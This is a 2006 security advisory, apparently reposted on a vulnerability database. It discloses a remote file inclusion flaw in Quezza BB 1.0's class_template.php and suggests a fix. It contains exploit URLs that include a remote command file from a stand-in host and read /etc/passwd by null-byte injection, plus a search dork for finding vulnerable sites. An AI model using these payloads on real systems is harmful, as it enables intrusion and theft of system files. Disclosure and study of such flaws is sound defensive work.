Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.

2006.05.23
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

--Security Report-- Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 17/05/06 05:37 AM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com [email concealed] Web: http://www.nukedx.com } --- Vendor: Quezza (http://www.quezza.com/) Version: 1.0 and prior versions must be affected. About: Via this methods remote attacker can include arbitrary files to Quezza.quezza_root_path variable in class_template.php did not sanitized before using it.You can find vulnerable code in class_template.php at line 21 -Source in class_template.php- 21: include($quezza_root_path . 'includes/template.' . $phpEx); -End of source- Fixing this vulnerability so easy turn off register_globals and add this code to source before line 21 if ( !defined('IN_QUEZZA') ) { die('Hacking attempt'); } Level: Highly Critical --- How&Example: Succesful exploitation needs allow_url_fopen set to 1 and register_globals on GET -> http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_pat h=[FILE] EXAMPLE -> http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_pat h=http://yourhost.com/cmd.txt? If magic_quotes_gpc off remote attacker can include local files too EXAMPLE -> http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_pat h=/etc/passwd%00 --- Timeline: * 17/05/2006: Vulnerability found. * 17/05/2006: Contacted with vendor and waiting reply. --- Exploit: Click here and get exploit for this advisory --- Dorks: "Powered by Quezza"


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top